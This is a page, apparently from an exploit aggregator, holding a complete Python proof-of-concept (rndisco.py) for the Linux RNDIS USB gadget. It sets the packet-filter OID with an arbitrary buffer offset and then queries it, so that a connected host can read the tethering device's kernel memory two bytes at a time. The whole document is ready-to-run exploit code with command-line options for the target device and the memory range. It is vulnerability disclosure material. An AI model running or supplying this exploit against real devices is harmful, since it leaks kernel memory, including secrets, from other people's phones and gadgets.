4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / rndisco.py PY
#!/usr/bin/python3

#
# Exploit RNDIS Gadget packet filter get/set oids
# to extract contents of kernel memory space.
#
# Since the packet filter is represented by
# uint16 we're dumping only two bytes at a
# cycle - the process is slow but effective.
#
# This script requires pyusb.
#
# https://github.com/szymonh
#

import argparse
import sys

import usb.core

from ctypes import Structure, c_uint32


RNDIS_OID_GEN_SUPPORTED_LIST = 0x00010101
RNDIS_OID_GEN_CURRENT_PACKET_FILTER = 0x0001010E


class RndisQueryMsg(Structure):
    _pack_ = 1
    _fields_ = [
        ('MessageType', c_uint32),
        ('MessageLength', c_uint32),
        ('RequestID', c_uint32),
        ('OID', c_uint32),
        ('InformationBufferLength', c_uint32),
        ('InformationBufferOffset', c_uint32),
        ('DeviceVcHandle', c_uint32)
    ]


class RndisSetMsg(Structure):
    _pack_ = 1
    _fields_ = [
        ('MessageType', c_uint32),
        ('MessageLength', c_uint32),
        ('RequestID', c_uint32),
        ('OID', c_uint32),
        ('InformationBufferLength', c_uint32),
        ('InformationBufferOffset', c_uint32),
        ('DeviceVcHandle', c_uint32)
    ]


def auto_int(val: str) -> int:
    '''Convert arbitrary string to integer
    Used as argparse type to automatically handle input with
    different base - decimal, octal, hex etc.
    '''
    return int(val, 0)


def parse_args() -> argparse.Namespace:
    '''Parse command line arguments

    '''
    parser = argparse.ArgumentParser(
        description='Sample exploit for RNDIS gadget class',
        epilog='enable usb tethering and find your device with lsubs'
    )

    parser.add_argument('-v', '--vid',  type=auto_int, required=True,
                        help='vendor id')
    parser.add_argument('-p', '--pid', type=auto_int, required=True,
                        help='product id')
    parser.add_argument('-l', '--length', type=auto_int, default=0xffff,
                        required=False, help='lenght')
    parser.add_argument('-o', '--offset', type=auto_int, default=0x00,
                        required=False, help='offset')

    return parser.parse_args()


def print_request(req_type, req, val, idx, length):
    '''Write control transfer request to stdout

    '''
    print('{0:02X} {1:02X} {2:04X} {3:04X} {4:04X} '.format(
        req_type, req, val, idx, length), end=' ')


def send_command(usbdev, payload):
    '''Send encapsulated command

    '''
    data = usbdev.ctrl_transfer(0x21, 0x00, 0x00, 0x00, payload)
    return data


def get_response(usbdev):
    '''Retrieve command response

    '''
    data = usbdev.ctrl_transfer(0xA1, 0x01, 0x00, 0x00, 4096)
    return data


def rndis_query(usbdev):
    '''Query RNDIS for current packet filter

    '''
    query = RndisQueryMsg()
    query.MessageType = 0x00000004
    query.RequestID = 0xDEADBEEF
    query.OID = RNDIS_OID_GEN_CURRENT_PACKET_FILTER
    query.InformationBufferLength = 0x00
    query.InformationBufferOffset = 0x00
    send_command(usbdev, bytearray(query))
    resp = get_response(usbdev)
    sys.stdout.buffer.write(resp[24:26])


def rndis_set(usbdev, offset):
    '''Set the RNDIS packet filter to a value at offset

    '''
    command = RndisSetMsg()
    command.MessageType = 0x00000005
    command.RequestID = 0xDEADBEEF
    command.OID = RNDIS_OID_GEN_CURRENT_PACKET_FILTER
    command.InformationBufferLength = 0x00
    command.InformationBufferOffset = offset
    send_command(usbdev, bytearray(command))
    get_response(usbdev)


def exploit(args: argparse.Namespace) -> None:
    '''Attempt exploit the RNDIS device

    '''
    usbdev = usb.core.find(idVendor=args.vid, idProduct=args.pid)
    if usbdev is None:
        print('Device not found, verify specified VID and PID')
        return

    for cfg in usbdev:
        for idx in range(cfg.bNumInterfaces):
            if usbdev.is_kernel_driver_active(idx):
                usbdev.detach_kernel_driver(idx)
    usbdev.set_configuration()


    for offset in range(args.offset, args.offset + args.length, 2):
        rndis_set(usbdev, offset)
        rndis_query(usbdev)


if __name__ == '__main__':
    '''Main script

    '''
    exploit(parse_args())